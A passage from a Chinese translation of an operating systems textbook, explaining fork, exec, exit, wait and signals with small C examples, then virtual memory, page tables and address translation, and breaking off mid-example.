例如,以下代码片段显示了对`fork`系统调用的调用,该调用创建了调用进程的新子进程:
pid_t pid;
pid = fork(); /* create a new child process */
print("pid = %d\n", pid); /* both parent and child execute this */
在`fork`调用创建了一个新的子进程之后,父进程和子进程继续执行,各自处于独立的执行上下文中,在`fork`调用的返回点继续执行。两个进程将`fork`的返回值赋给各自的`pid`变量,并都调用`printf`。子进程的调用打印出 0,而父进程则打印出子进程的 PID 值。
图 13-10 显示了代码执行后进程层次结构的示例。子进程在分叉时获得父进程执行上下文的完整副本,但其变量`pid`的值与父进程不同,因为`fork`返回子进程的 PID 值(本例中为 14)给父进程,并返回 0 给子进程。

*图 13-10:一个进程(PID 12)调用`fork`来创建一个新的子进程。新的子进程获得父进程的地址和执行状态的精确副本,但获得它自己的进程标识符(PID 14)。`fork`返回 0 给子进程,并返回子进程的 PID 值(14)给父进程。*
通常,程序员希望在`fork`调用后,子进程和父进程执行不同的任务。程序员可以利用`fork`的不同返回值触发父子进程执行不同的代码分支。例如,以下代码片段创建了一个新的子进程,并利用`fork`的返回值让子进程和父进程在调用后执行不同的代码分支:
pid_t pid;
pid = fork(); /* create a new child process */
if (pid == 0) {
/* only the child process executes this code */
...
} else if (pid != -1) {
/* only the parent process executes this code */
...
}
需要记住的是,一旦它们被创建,子进程和父进程将在各自的执行上下文中并发运行,修改它们各自的程序变量副本,并可能执行代码中的不同分支。
请考虑以下程序^(2),它包含对`fork`的调用,并根据`pid`的值进行分支,以触发父进程和子进程执行不同的代码(此示例还显示了对`getpid`的调用,该函数返回调用进程的 PID):
include <stdio.h>
include <stdlib.h>
include <unistd.h>
int main() {
pid_t pid, mypid;
printf("A\n");
pid = fork(); /* create a new child process */
if(pid == -1) { /* check and handle error return value */
printf("fork failed!\n");
exit(pid);
}
if (pid == 0) { /* the child process */
mypid = getpid();
printf("Child: fork returned %d, my pid %d\n", pid, mypid);
} else { /* the parent process */
mypid = getpid();
printf("Parent: fork returned %d, my pid %d\n", pid, mypid);
}
printf("B:%d\n", mypid);
return 0;
}
当程序运行时,其输出可能如下所示(假设父进程的 PID 是 12,子进程的 PID 是 14):
A
Parent: fork returned 14, my pid 12
B:12
Child: fork returned 0, my pid 14
B:14
实际上,程序的输出可能会呈现表 13-1 中所示的任何一种可能的选项(如果多次运行该程序,你通常会看到输出的顺序有多个可能性)。在表 13-1 中,父进程打印 B:12,子进程打印 B:14,但具体的 PID 值会因运行而异。
**表 13-1:** 示例程序输出的所有六种可能顺序
| **选项 1** | **选项 2** | **选项 3** | **选项 4** | **选项 5** | **选项 6** |
| --- | --- | --- | --- | --- | --- |
| A | A | A | A | A | A |
| 父进程... | 父进程... | 父进程... | 子进程... | 子进程... | 子进程... |
| 子进程... | 子进程... | B:12 | 父进程... | 父进程... | B:14 |
| B:12 | B:14 | 子进程... | B:12 | B:14 | 父进程... |
| B:14 | B:12 | B:14 | B:14 | B:12 | B:12 |
这六种不同的输出顺序是可能的,因为在`fork`系统调用返回后,父进程和子进程是并发的,并且可以按多种不同的顺序在 CPU 上调度执行,导致它们的指令序列出现任何可能的交织。考虑该程序的执行时间线,如图 13-11 所示。虚线表示两个进程的并发执行。根据每个进程在 CPU 上的调度时间,它们的`printf`语句可能先后执行,或者它们的两个`printf`语句可能交替执行,导致表 13-1 中显示的任何可能结果。由于在调用`fork`之前只有父进程存在,因此 A 总是由父进程打印,之后的输出才会由调用`fork`后的进程打印。

*图 13-11:程序的执行时间线。在调用`fork`之前只有父进程存在。`fork`返回后,两个进程并发执行(以虚线表示)。*
#### 13.2.4 exec
通常,会创建一个新进程来执行一个不同于其父进程的程序。这意味着`fork`通常用于创建一个进程,目的是从它的起点运行一个新程序(即从第一条指令开始执行)。例如,如果用户在 shell 中输入`./a.out`,shell 进程会创建一个新的子进程来运行`a.out`。作为两个独立的进程,shell 和`a.out`进程相互独立,无法干扰彼此的执行状态。
虽然`fork`创建了新的子进程,但它并不会导致子进程运行`a.out`。为了初始化子进程以运行一个新程序,子进程会调用一个*exec*系统调用。Unix 提供了一系列的 exec 系统调用,触发操作系统用二进制可执行文件中的新映像覆盖调用进程的映像。换句话说,exec 系统调用告诉操作系统将调用进程的地址空间内容覆盖为指定的`a.out`,并重新初始化其执行状态,从`a.out`程序的第一条指令开始执行。
一个 exec 系统调用的例子是`execvp`,其函数原型如下:
int execvp(char *filename, char *argv[]);
`filename`参数指定用于初始化进程映像的二进制可执行程序的名称,`argv`包含传递给程序的`main`函数的命令行参数,程序在启动执行时会使用这些参数。
下面是一个示例代码片段,当执行时,它会创建一个新的子进程来运行`a.out`:
pid_t pid;
int ret;
char *argv[2];
argv[0] = "a.out"; // initialize command line arguments for main
argv[1] = NULL;
pid = fork();
if (pid == 0) { /* child process */
ret = execvp("a.out", argv);
if (ret < 0) {
printf("Error: execvp returned!!!\n");
exit(ret);
}
}
`argv`变量被初始化为传递给`a.out`的`main`函数的`argv`参数的值:
int main(int argc, char *argv) { ...
`execvp`将根据此`argv`值(在此例中为 1)确定传递给`argc`的值。
图 13-12 显示了执行此代码后进程层次结构的样子。

*图 13-12:当子进程调用 `execvp`(左侧)时,操作系统用 `a.out` 替换其映像(右侧),并初始化子进程以从头开始运行 `a.out` 程序。*
需要注意的是,在之前示例代码中,`execvp` 调用后的错误信息似乎很奇怪:为什么从 exec 系统调用返回会是一个错误?如果 exec 系统调用成功,那么它后面的错误检测和处理代码将永远不会执行,因为此时进程将执行 `a.out` 程序中的代码,而不是当前代码(进程的地址空间已被 exec 改变)。也就是说,当 exec 函数调用成功时,进程不会在 exec 调用返回后继续执行当前代码。由于这一行为,以下代码片段与之前的代码等价(但通常更容易理解):
pid_t pid;
int ret;
pid = fork();
if (pid == 0) { /* child process */
ret = execvp("a.out", argv);
printf("Error: execvp returned!!!\n"); /* only executed if execvp fails */
exit(ret);
}
#### 13.2.5 退出和等待
为了终止,进程调用 `exit` 系统调用,这会触发操作系统清理大部分进程状态。执行完退出代码后,进程会通知其父进程自己已退出。父进程负责清理已退出子进程的剩余状态。
进程可以通过几种方式触发退出。首先,进程可能完成所有应用代码,返回 `main` 函数时会调用 `exit` 系统调用从而退出。其次,进程可能执行无效操作,例如除以零或解引用空指针,这会导致它退出。最后,进程可以接收到来自操作系统或其他进程的 *信号*,指示它退出(实际上,除以零和空指针解引用会导致操作系统发送 `SIGFPE` 和 `SIGSEGV` 信号,指示进程退出)。
信号
*信号* 是操作系统发送给进程的软件中断。信号是一种相关进程之间进行通信的方式。操作系统提供了一个接口,让一个进程能够向另一个进程发送信号,从而进行通信(例如,当一个进程解引用空指针时,操作系统发送 `SIGSEGV` 信号告诉该进程退出)。
当一个进程接收到信号时,它会被中断并运行特定的信号处理程序代码。操作系统定义了一定数量的信号,用来传达不同的含义,每个信号由一个唯一的信号编号区分。操作系统为每种信号类型实现了默认的信号处理程序,但程序员可以注册自己的用户级信号处理程序代码,以覆盖大多数信号的默认行为,适应他们的应用需求。
《信号》部分位于 第 657 页,其中包含关于信号和信号处理的更多信息。
如果一个 shell 进程想要终止它正在运行 `a.out` 的子进程,它可以向子进程发送一个 `SIGKILL` 信号。当子进程接收到信号时,它会运行处理 `SIGKILL` 信号的代码,调用 `exit` 来终止子进程。如果用户在当前运行程序的 Unix shell 中按下 CTRL-C,子进程会接收到一个 `SIGINT` 信号。`SIGINT` 的默认信号处理程序也会调用 `exit`,导致子进程退出。
在执行 `exit` 系统调用后,操作系统会向父进程发送一个 `SIGCHLD` 信号,通知它子进程已经退出。子进程变成一个 *僵尸* 进程;它进入已退出状态,无法再在 CPU 上运行。僵尸进程的执行状态部分被清理,但操作系统仍然保留一些关于它的信息,包括它是如何终止的。
父进程通过调用 `wait` 系统调用来*回收*其僵尸子进程(清理系统中的剩余状态)。如果父进程在子进程退出之前调用了 `wait`,那么父进程会被阻塞,直到接收到来自子进程的 `SIGCHLD` 信号。`waitpid` 系统调用是 `wait` 的一种变体,它接受一个 PID 参数,允许父进程在等待特定子进程终止时阻塞。
图 13-13 显示了进程退出时发生的事件序列。

*图 13-13:进程退出。左图:子进程调用 `exit` 系统调用清理其大部分执行状态。中图:运行 `exit` 后,子进程变成僵尸进程(它处于已退出状态,不能再次运行),并且父进程会收到一个 `SIGCHLD` 信号,通知它子进程已退出。右图:父进程调用 `waitpid` 回收其僵尸子进程(从系统中清理子进程的剩余状态)。*
由于父子进程是并发执行的,父进程可能在子进程退出之前就调用 `wait`,或者子进程可能在父进程调用 `wait` 之前退出。如果子进程在父进程调用 `wait` 时仍在执行,那么父进程会被阻塞,直到子进程退出(父进程进入阻塞状态,等待 `SIGCHLD` 信号事件发生)。父进程的阻塞行为可以通过在 shell 中前台运行一个程序(`a.out`)来观察——在 `a.out` 终止之前,shell 程序不会打印出 shell 提示符,表示 shell 父进程在调用 `wait` 时被阻塞,直到接收到来自其运行 `a.out` 的子进程的 `SIGCHLD` 信号。
程序员还可以设计父进程代码,使其在等待子进程退出时永远不会阻塞。如果父进程实现了一个`SIGCHLD`信号处理程序,其中包含对`wait`的调用,那么父进程只有在有子进程退出时才会调用`wait`,从而避免在`wait`调用时发生阻塞。通过在 shell 中后台运行程序(`a.out &`)可以看到这种行为。Shell 程序将继续执行,打印提示符,并在子进程运行`a.out`时执行另一个命令。以下是一个例子,展示了父进程在`wait`上阻塞与在`SIGCHLD`信号处理程序中只调用`wait`的非阻塞父进程之间的区别(确保你运行的程序足够长时间以注意到差异):
$ a.out # shell process forks child and calls wait
$ a.out & # shell process forks child but does not call wait
$ ps # (the shell can run ps and a.out concurrently)
以下是一个包含`fork`、`exec`、`exit`和`wait`系统调用的示例代码片段(为便于阅读,已去除错误处理)。此示例旨在测试你对这些系统调用及其对进程执行影响的理解。在这个示例中,父进程创建一个子进程并等待其退出。然后,子进程再创建另一个子进程来运行`a.out`程序(第一个子进程是第二个子进程的父进程)。接着,它等待其子进程退出。
pid_t pid1, pid2, ret;
int status;
printf("A\n");
pid1 = fork();
if (pid1 == 0 ) { /* child 1 */
printf("B\n");
pid2 = fork();
if (pid2 == 0 ){ /* child 2 */
printf("C\n");
execvp("a.out", NULL);
} else { /* child 1 (parent of child 2) */
ret = wait(&status);
printf("D\n");
exit(0);
}
} else { /* original parent */
printf("E\n");
ret = wait(&status);
printf("F\n");
}
图 13-14 展示了执行前述示例时,进程创建/运行/阻塞/退出事件的执行时间线。虚线表示进程的执行与其子进程或后代进程重叠的时间:这些进程是并发的,可以以任何顺序在 CPU 上调度。实线表示进程执行的依赖关系。例如,子进程 1 在回收子进程 2 退出之前无法调用`exit`。当进程调用`wait`时,它会阻塞直到子进程退出。当进程调用`exit`时,它将不再运行。程序的输出在每个进程的执行时间线上标注,表示在执行过程中对应的`printf`语句可能出现的位置。

*图 13-14:示例程序的执行时间线,显示了三进程间可能的`fork`、`exec`、`wait`和`exit`调用顺序。实线表示进程间执行顺序的依赖关系,虚线表示并发执行点。Parent 是子进程 1 的父进程,子进程 1 是子进程 2 的父进程。*
在本程序中,调用`fork`后,父进程和第一个子进程并发执行,因此父进程中的`wait`调用可能与子进程的任何指令交替执行。例如,父进程可能在子进程调用`fork`创建子进程之前就调用`wait`并阻塞。表 13-2 列出了运行示例程序时所有可能的输出结果。
**表 13-2:** 程序的所有可能输出顺序
| **选项 1** | **选项 2** | **选项 3** | **选项 4** |
| --- | --- | --- | --- |
| A | A | A | A |
| B | B | B | E |
| C | C | E | B |
| D | E | C | C |
| E | D | D | D |
| F | F | F | F |
程序在表 13-2 中的输出都是可能的,因为父进程与其子孙进程并发执行,直到调用`wait`为止。因此,父进程调用`printf("E\n")`可以在任何时刻与子孙进程的开始和退出交替执行。
### 13.3 虚拟内存
操作系统的进程抽象为每个进程提供了一个虚拟内存空间。*虚拟内存*是一种抽象,它为每个进程提供了一个独立的、逻辑上的地址空间,用于存储其指令和数据。每个进程的虚拟地址空间可以被看作是从地址 0 到某个最大地址的一个可寻址字节的数组。例如,在 32 位系统中,最大地址为 2³² - 1。进程不能访问彼此的地址空间中的内容。进程的虚拟地址空间的某些部分来自于它正在运行的二进制可执行文件(例如,*text*部分包含来自`a.out`文件的程序指令)。进程虚拟地址空间的其他部分则是在运行时创建的(例如,*stack*部分)。
操作系统将虚拟内存实现为进程的*单一视图*抽象的一部分。也就是说,每个进程仅通过自己的虚拟地址空间与内存交互,而不是基于多个进程同时共享计算机物理内存(RAM)的现实。操作系统还使用其虚拟内存实现来保护进程,防止它们访问彼此的内存空间。举个例子,考虑以下简单的 C 程序:
/* a simple program */
include <stdio.h>
int main(int argc, char* argv[]) {
int x, y;
printf("enter a value: ");
scanf("%d", &y);
if (y > 10) {
x = y;
} else {
x = 6;
}
printf("x is %d\n", x);
return 0;
}
如果两个进程同时执行这个程序,它们每个都会获得自己的一份栈内存,作为各自独立虚拟地址空间的一部分。因此,如果一个进程执行`x = 6`,它不会影响另一个进程中`x`的值——每个进程都有自己的一份`x`,存储在它的私有虚拟地址空间中,正如在图 13-15 中所示。

*图 13-15:`a.out`的两次执行结果是两个进程,每个进程都在隔离的实例中运行`a.out`程序。每个进程都有自己的私有虚拟地址空间,包含程序指令、全局变量,以及栈和堆内存空间的副本。例如,每个进程可能在虚拟地址空间的栈部分都有一个局部变量`x`。*
进程的虚拟地址空间被划分为几个部分,每一部分存储进程内存的不同部分。最上面的一部分(最低的地址)保留给操作系统,并且只能在内核模式下访问。进程虚拟地址空间中的文本和数据部分是从程序可执行文件(`a.out`)中初始化的。文本段包含程序指令,数据段包含全局变量(数据部分实际上分为两部分,一部分是初始化的全局变量,另一部分是未初始化的全局变量)。
进程虚拟地址空间中的堆和栈部分的大小随着进程的运行而变化。栈空间会随着进程进行函数调用而增长,在从函数返回时缩小。堆空间则会在进程动态分配内存空间(通过调用`malloc`)时增长,在进程释放动态分配的内存空间(通过调用`free`)时缩小。进程内存中的堆和栈部分通常位于虚拟地址空间的远离位置,以最大化两者可用的空间。通常情况下,栈位于进程地址空间的底部(靠近最大地址),并随着函数调用的发生而向下扩展,栈帧被添加到栈顶。
堆和栈内存
堆和栈内存空间的实际总容量通常不会在每次调用`malloc`和`free`时发生变化,也不会在每次函数调用和返回时发生变化。相反,这些操作通常只是改变当前分配的虚拟内存空间中的堆和栈部分的实际使用量。然而,有时这些操作确实会导致堆或栈空间总容量的变化。
操作系统负责管理进程的虚拟地址空间,包括改变堆和栈空间的总容量。系统调用`brk`、`sbrk`或`mmap`可以用来请求操作系统改变堆内存的总容量。C 程序员通常不会直接调用这些系统调用,而是通过调用标准 C 库函数`malloc`(和`free`)来分配(和释放)堆内存空间。在内部,标准 C 库的用户级堆管理器可能会调用其中一个系统调用,请求操作系统改变堆内存空间的大小,以满足`malloc`请求。
#### 13.3.1 内存地址
由于进程在各自的虚拟地址空间中运行,操作系统必须区分两种类型的内存地址。*虚拟地址*指的是进程虚拟地址空间中的存储位置,*物理地址*指的是物理内存(RAM)中的存储位置。
##### 物理内存(RAM)和物理内存地址
从 第十一章 我们知道,物理内存(RAM)可以视为一个可寻址字节的数组,其中地址范围从 0 到基于 RAM 总大小的最大地址值。例如,在一个具有 2 GB RAM 的系统中,物理内存地址的范围是从 0 到 2³¹ – 1(1 GB 为 2³⁰ 字节,所以 2 GB 为 2³¹ 字节)。
为了让 CPU 运行一个程序,操作系统必须将程序的指令和数据加载到 RAM 中;CPU 不能直接访问其他存储设备(例如磁盘)。操作系统管理 RAM 并决定应该将哪些位置存储到进程的虚拟地址空间内容。例如,如果两个进程 P1 和 P2 运行之前的示例程序,那么 P1 和 P2 会有各自独立的 `x` 变量副本,每个副本都存储在 RAM 中不同的位置。也就是说,P1 的 `x` 和 P2 的 `x` 有不同的物理地址。如果操作系统将相同的物理地址分配给 P1 和 P2 的 `x` 变量,那么 P1 将 `x` 设置为 6 时,也会修改 P2 的 `x` 值,这将违反每个进程独立的虚拟地址空间。
在任何时刻,操作系统都会将多个进程的地址空间内容以及可能映射到每个进程虚拟地址空间中的操作系统代码存储在 RAM 中(操作系统代码通常从 RAM 的地址 0x0 开始加载)。图 13-16 显示了操作系统和三个进程(P1、P2 和 P3)加载到 RAM 中的示例。每个进程都会为其地址空间内容分配独立的物理存储位置(例如,即使 P1 和 P2 运行相同的程序,它们也会为变量 `x` 分配独立的物理存储位置)。

*图 13-16:示例 RAM 内容,显示操作系统加载在地址 0x0,进程加载在 RAM 中不同物理内存地址。如果 P1 和 P2 运行相同的 `a.out`,则 P1 的 `x` 的物理地址与 P2 的 `x` 的物理地址不同。*
##### 虚拟内存和虚拟地址
虚拟内存是每个进程对其内存空间的视图,*虚拟地址*是进程视图中内存的地址。如果两个进程运行相同的二进制可执行文件,那么它们在地址空间中对于函数代码和全局变量的虚拟地址是完全相同的(由于两次独立执行过程中的运行时差异,堆内存中动态分配空间和栈上局部变量的虚拟地址可能会有所不同)。换句话说,两个进程对于它们的 `main` 函数的位置具有相同的虚拟地址,且在它们的地址空间中,对于全局变量 `x` 的位置也有相同的虚拟地址,如 图 13-17 所示。

*图 13-17:示例虚拟内存内容,显示两个进程运行相同的 `a.out` 文件。P1 和 P2 对全局变量 `x` 有相同的虚拟地址。*
#### 13.3.2 虚拟地址到物理地址的转换
程序的汇编和机器代码指令引用虚拟地址。因此,如果两个进程执行相同的`a.out`程序,CPU 将执行带有相同虚拟地址的指令,以访问它们各自的虚拟地址空间中的相应部分。例如,假设`x`位于虚拟地址 0x24100,那么设置`x`为 6 的汇编指令可能如下所示:
movl $0x24100, %eax # load 0x24100 into register eax
movl $6, (%eax) # store 6 at memory address 0x24100
在运行时,操作系统将每个进程的`x`变量加载到不同的物理内存地址(RAM 中的不同位置)。这意味着每当 CPU 执行指向内存的加载或存储指令时,这些指令指定了虚拟地址,CPU 中的虚拟地址必须先转换为 RAM 中对应的物理地址,然后才能从 RAM 中读取或写入字节。
由于虚拟内存是操作系统实现的一个重要且核心的抽象,处理器通常提供某种硬件支持虚拟内存。操作系统可以利用这种硬件级的虚拟内存支持来快速执行虚拟地址到物理地址的转换,从而避免每次地址转换都需要切换到操作系统来处理。特定的操作系统可以选择在其虚拟内存实现中使用多少硬件支持分页。在选择硬件实现功能与软件实现功能时,通常会在速度和灵活性之间进行权衡。
*内存管理单元*(MMU)是计算机硬件的一部分,用于实现地址转换。MMU 硬件和操作系统共同完成虚拟地址到物理地址的转换,当应用程序访问内存时。具体的硬件/软件分工取决于硬件和操作系统的具体组合。在最完整的情况下,MMU 硬件执行完整的转换:它从 CPU 获取虚拟地址,并将其转换为物理地址,用于寻址 RAM(如图 13-18 所示)。无论虚拟内存的硬件支持程度如何,总有一些虚拟到物理的转换需要操作系统来处理。在我们讨论虚拟内存时,假设使用的是更完整的方式。
MMU 最小化了操作系统在地址转换中所需的干预。

*图 13-18:内存管理单元(MMU)将虚拟地址映射到物理地址。虚拟地址用于 CPU 执行的指令中。当 CPU 需要从物理内存中获取数据时,虚拟地址首先由 MMU 转换为物理地址,用于寻址 RAM。*
操作系统为每个进程维护虚拟内存映射,以确保能够正确地将虚拟地址转换为物理地址,供任何在 CPU 上运行的进程使用。在上下文切换期间,操作系统会更新 MMU 硬件,指向被交换进来的进程的虚拟到物理内存映射。操作系统通过在上下文切换时交换每个进程的地址映射状态来保护进程不互相访问彼此的内存空间——在上下文切换时交换映射,确保一个进程的虚拟地址不会映射到存储另一个进程虚拟地址空间的物理地址上。
#### 13.3.3 分页
尽管多年来已经提出了许多虚拟内存系统,但分页现在是最广泛使用的虚拟内存实现。在*分页虚拟内存*系统中,操作系统将每个进程的虚拟地址空间划分为固定大小的块,称为*页*。操作系统定义了系统的页大小。如今,一些通用操作系统通常使用几千字节的页大小——4 KB(4,096 字节)是许多系统的默认页大小。
物理内存也被操作系统划分为与页面大小相同的块,称为*帧*。由于页面和帧被定义为相同的大小,因此进程的任何虚拟内存页面都可以存储在物理 RAM 的任何帧中。
在分页系统中,页面和帧的大小相同,因此虚拟内存的任何页面都可以加载(存储)到物理 RAM 的任何帧中;进程的页面不需要存储在连续的 RAM 帧中(即在 RAM 中紧邻的一系列地址);并且并非每个虚拟地址空间的页面都需要加载到 RAM 中,才能让进程运行。
图 13-19 展示了一个示例,说明进程的虚拟地址空间中的页面如何映射到物理 RAM 的帧。

*图 13-19:分页虚拟内存。进程虚拟地址空间的单个页面存储在 RAM 帧中。虚拟地址空间的任何页面都可以加载到(存储在)任何物理内存帧中。在此示例中,P1 的虚拟页 1000 存储在物理帧 100 中,而其页 500 存储在帧 513 中。P2 的虚拟页 1000 存储在物理帧 880 中,而其页 230 存储在帧 102 中。*
##### 分页系统中的虚拟地址和物理地址
分页虚拟内存系统将虚拟地址的位划分为两部分:高位指定虚拟地址存储的*页号*,低位对应于页面内的*字节偏移*(即页面顶部的哪个字节对应该地址)。
同样,分页系统将物理地址分为两部分:高位指定物理内存的*帧号*,低位指定帧内的*字节偏移量*。由于帧和页面的大小相同,虚拟地址中的字节偏移位与其转换后的物理地址中的字节偏移位相同。虚拟地址与其转换后的物理地址的不同之处在于其高位,这些高位指定虚拟页面号和物理帧号。

*图 13-20:虚拟地址和物理地址中的地址位*
例如,考虑一个(非常小的)系统,具有 16 位虚拟地址、14 位物理地址和 8 字节的页面。由于页面大小为 8 字节,物理地址和虚拟地址的低三位定义了页面或帧内的字节偏移量——三位可以编码 8 个不同的字节偏移值,0–7(2³等于 8)。这使得虚拟地址的高 13 位用于指定页面号,物理地址的高 11 位用于指定帧号,如图 13-21 中的示例所示。

*图 13-21:在一个具有 16 位虚拟地址、14 位物理地址和 8 字节页面大小的示例系统中,虚拟地址和物理地址的位划分。*
在图 13-21 中的示例中,虚拟地址 43357(十进制)具有字节偏移量 5(0b101,二进制),这是地址的低三位,以及页面号 5419(0b1010100101011),这是地址的高 13 位。这意味着虚拟地址位于页面 5419 的第 5 个字节。
如果这个虚拟内存页面被加载到物理内存的帧 43(0b00000101011)中,那么它的物理地址是 349(0b00000101011101),其中低三位(0b101)指定字节偏移量,高 11 位(0b00000101011)指定帧号。这意味着物理地址位于 RAM 帧 43 的第 5 个字节。
##### 虚拟到物理页面映射的页表
由于每个进程的虚拟内存空间的每个页面可以映射到不同的 RAM 帧,操作系统必须为进程地址空间中的每个虚拟页面保持映射。操作系统维护一个每个进程的*页表*,它用于存储进程的虚拟页面号到物理帧号的映射。页表是由操作系统实现的数据结构,存储在 RAM 中。图 13-22 展示了操作系统如何在 RAM 中存储两个进程的页表的示例。每个进程的页表存储其虚拟页面到物理帧的映射,从而使任何虚拟内存的页面都可以存储在 RAM 的任何物理帧中。

*图 13-22:每个进程都有一个页面表,包含其虚拟页面到物理帧的映射。页面表存储在 RAM 中,系统使用它来将进程的虚拟地址翻译为用于寻址 RAM 中位置的物理地址。此示例显示了存储在 RAM 中的 P1 和 P2 进程的单独页面表,每个页面表都有自己的虚拟页面到物理帧的映射。*
对于每个虚拟内存页面,页面表存储一个 *页面表项*(PTE),其中包含存储虚拟页面的物理内存(RAM)的帧号。一个 PTE 还可能包含关于虚拟页面的其他信息,包括一个 *有效位*,用于指示 PTE 是否存储了有效的映射。如果某个页面的有效位为零,则该进程虚拟地址空间中的页面当前没有加载到物理内存中。

*图 13-23:页面表项(PTE)存储虚拟页面加载到的 RAM 页框的帧号(23)。我们以十进制列出帧号(23),尽管它实际上在 PTE 项中是以二进制编码的(0…010111)。有效位为 1 表示此项存储了有效的映射。*
##### 使用页面表将虚拟地址映射到物理地址
虚拟地址到物理地址的翻译有四个步骤(如图 13-24 所示)。具体的操作系统/硬件组合决定了由操作系统还是硬件执行这些步骤的全部或部分。在描述这些步骤时,我们假设一个全功能的 MMU,它尽可能在硬件中执行尽可能多的地址翻译,但在某些系统中,操作系统可能会执行这些步骤中的某些部分。
1\. 首先,MMU 将虚拟地址的位分为两部分:对于 2^(*k*) 字节的页面大小,低位的 *k* 位(VA 位 *k –* 1 到 0)编码页面内的字节偏移量 (*d*),而高位的 *n – k* 位(VA 位 *n –* 1 到 *k*)编码虚拟页面号 (*p*)。
2\. 接下来,页面号值 (*p*) 被 MMU 用作页面表的索引,以访问页面 *p* 的 PTE。大多数架构都有一个 *页面表基址寄存器*(PTBR),它存储运行中进程页面表的 RAM 地址。PTBR 中的值与页面号值 (*p*) 结合起来,计算出页面 *p* 的 PTE 地址。
3\. 如果 PTE 中的有效位被设置为 1,则 PTE 中的帧号表示有效的 VA 到 PA 映射。如果有效位为 0,则会发生页面错误,触发操作系统处理此地址转换(稍后我们会讨论操作系统的页面错误处理)。
4\. MMU 使用来自 PTE 项的帧号 (*f*) 位作为高位,并使用来自 VA 的页面偏移量 (*d*) 位作为物理地址的低位,来构造物理地址。

*图 13-24:一个进程的页表用于执行虚拟地址到物理地址的转换。PTBR 存储当前运行进程的页表基地址。*
##### 示例:通过页表映射 VA 到 PA
考虑一个示例(小型)分页系统,其中页大小为 4 字节,虚拟地址为 6 位(高 4 位为页号,低 2 位为字节偏移),物理地址为 7 位。
假设系统中进程 P1 的页表如下所示 表 13-3(值以十进制和二进制列出)。
**表 13-3:** 进程 P1 的页表
| **条目** | **有效** | **帧号** |
| --- | --- | --- |
| 0 (0b0000) | 1 | 23 (0b10111) |
| 1 (0b0001) | 0 | 17 (0b10001) |
| 2 (0b0010) | 1 | 11 (0b01011) |
| 3 (0b0011) | 1 | 16 (0b10000) |
| 4 (0b0100) | 0 | 8 (0b01000) |
| 5 (0b0101) | 1 | 14 (0b01110) |
| ⋮ | ⋮ | ⋮ |
| 15 (0b1111) | 1 | 30 (0b11110) |
使用本示例提供的信息可以揭示关于地址大小、地址的各部分和地址转换的几个重要方面。
首先,页表的大小(条目的数量)由虚拟地址的位数和系统中的页大小决定。每个 6 位虚拟地址的高 4 位指定页号,因此虚拟内存总共有 16(2⁴)页。由于页表为每个虚拟页有一个条目,因此每个进程的页表中总共有 16 个页表条目。
其次,每个页表条目(PTE)的大小取决于物理地址中的位数和系统中的页大小。每个 PTE 存储一个有效位和一个物理帧号。有效位需要 1 位。帧号需要 5 位,因为物理地址为 7 位,而页偏移是低 2 位(用于寻址每页上的 4 字节),剩下的 5 位用于帧号。因此,每个 PTE 条目需要 6 位:1 位用于有效位,5 位用于帧号。
第三,虚拟内存和物理内存的最大大小由地址的位数决定。由于虚拟地址为 6 位,因此可以寻址 2⁶ 字节的内存,因此每个进程的虚拟地址空间为 2⁶(或 64)字节。同样,物理内存的最大大小为 2⁷(或 128)字节。
最后,页大小、虚拟和物理地址中的位数,以及页表决定了虚拟地址到物理地址的映射。例如,如果进程 P1 执行一条指令,从其虚拟地址 0b001110 加载一个值,则其页表将虚拟地址转换为物理地址 0b1000010,然后用于访问 RAM 中的值。
虚拟地址(VA)到物理地址(PA)的转换步骤如下:
1\. 将虚拟地址(VA)位分为页面号 (*p*) 和字节偏移 (*d*) 位:高 4 位是页面号 (0b0011 或 页面 3),低 2 位是页面内的字节偏移 (0b10 或字节 2)。
2\. 使用页面号 (3) 作为页表索引来读取虚拟页面 3 的 PTE (PT[3]: 有效:1 帧号#:16)。
3\. 检查有效位,判断 PTE 映射是否有效。在此情况下,有效位为 1,因此 PTE 包含有效的映射,意味着虚拟内存页面 3 存储在物理内存帧 16 中。
4\. 使用 PTE 中的 5 位帧号作为高位地址位 (0b10000),并将虚拟地址中的低 2 位偏移 (0b10) 作为低位 2 位来构造物理地址:物理地址为 0b1000010(在 RAM 帧 16,字节偏移为 2)。
##### 分页实现
大多数计算机硬件提供某种支持分页虚拟内存的功能,操作系统和硬件共同在给定系统上实现分页。至少,大多数架构提供一个页表基址寄存器 (PTBR),该寄存器存储当前运行进程的页表基地址。为了执行虚拟到物理地址的转换,虚拟地址的虚拟页面号部分与存储在 PTBR 中的值结合使用,找到虚拟页面的 PTE 条目。换句话说,虚拟页面号是进程页表的索引,它的值与 PTBR 值结合,得到页面 *p* 的 PTE 在 RAM 中的地址(例如,PTBR + *p* × (PTE 大小)是页面 *p* 的 PTE 在 RAM 中的地址)。一些架构可能支持通过硬件操作 PTE 位来进行完整的页表查找。如果不支持,操作系统则需要中断来处理一些页表查找和访问 PTE 位的工作,以将虚拟地址转换为物理地址。
在上下文切换时,操作系统*保存并恢复*进程的 PTBR 值,确保当进程在 CPU 上运行时,它能够访问自己的虚拟到物理地址映射,这些映射存储在自己的 RAM 页表中。这是操作系统保护进程虚拟地址空间不被相互访问的一种机制;上下文切换时更改 PTBR 值,确保进程无法访问其他进程的 VA-PA 映射,因此它不能读取或写入存储其他进程虚拟地址空间内容的物理地址。
##### 示例:两个进程的虚拟到物理地址映射
作为一个例子,考虑一个示例系统(表 13-4),该系统具有 8 字节页面、7 位虚拟地址和 6 位物理地址。
**表 13-4:** 示例进程页表
| **P1 的页表** | **P2 的页表** |
| --- | --- |
| **条目** | **有效** | **帧号 #** | **条目** | **有效** | **帧号 #** |
| 0 | 1 | 3 | 0 | 1 | 1 |
| 1 | 1 | 2 | 1 | 1 | 4 |
| 2 | 1 | 6 | 2 | 1 | 5 |
| | ⋮ | | | ⋮ | |
| 11 | 1 | 7 | 11 | 0 | 3 |
| | ⋮ | | | ⋮ | |
根据表 13-4 中显示的两个进程(P1 和 P2)的(部分显示的)页面表的当前状态,我们来计算由 CPU 生成的以下一系列虚拟内存地址的物理地址(每个地址前面都有运行在 CPU 上的进程标识):
P1: 0000100
P1: 0000000
P1: 0010000
<---- context switch
P2: 0010000
P2: 0001010
P2: 1011001
<---- context switch
P1: 1011001
首先,确定虚拟地址和物理地址中的位划分。由于页面大小为 8 字节,每个地址的低三位编码页偏移 (*d*)。虚拟地址为七位。因此,三个位用于页偏移,剩下的四个位用于指定页号 (*p*)。由于物理地址为六位,低三位用于页偏移,高三位用于指定框架号。
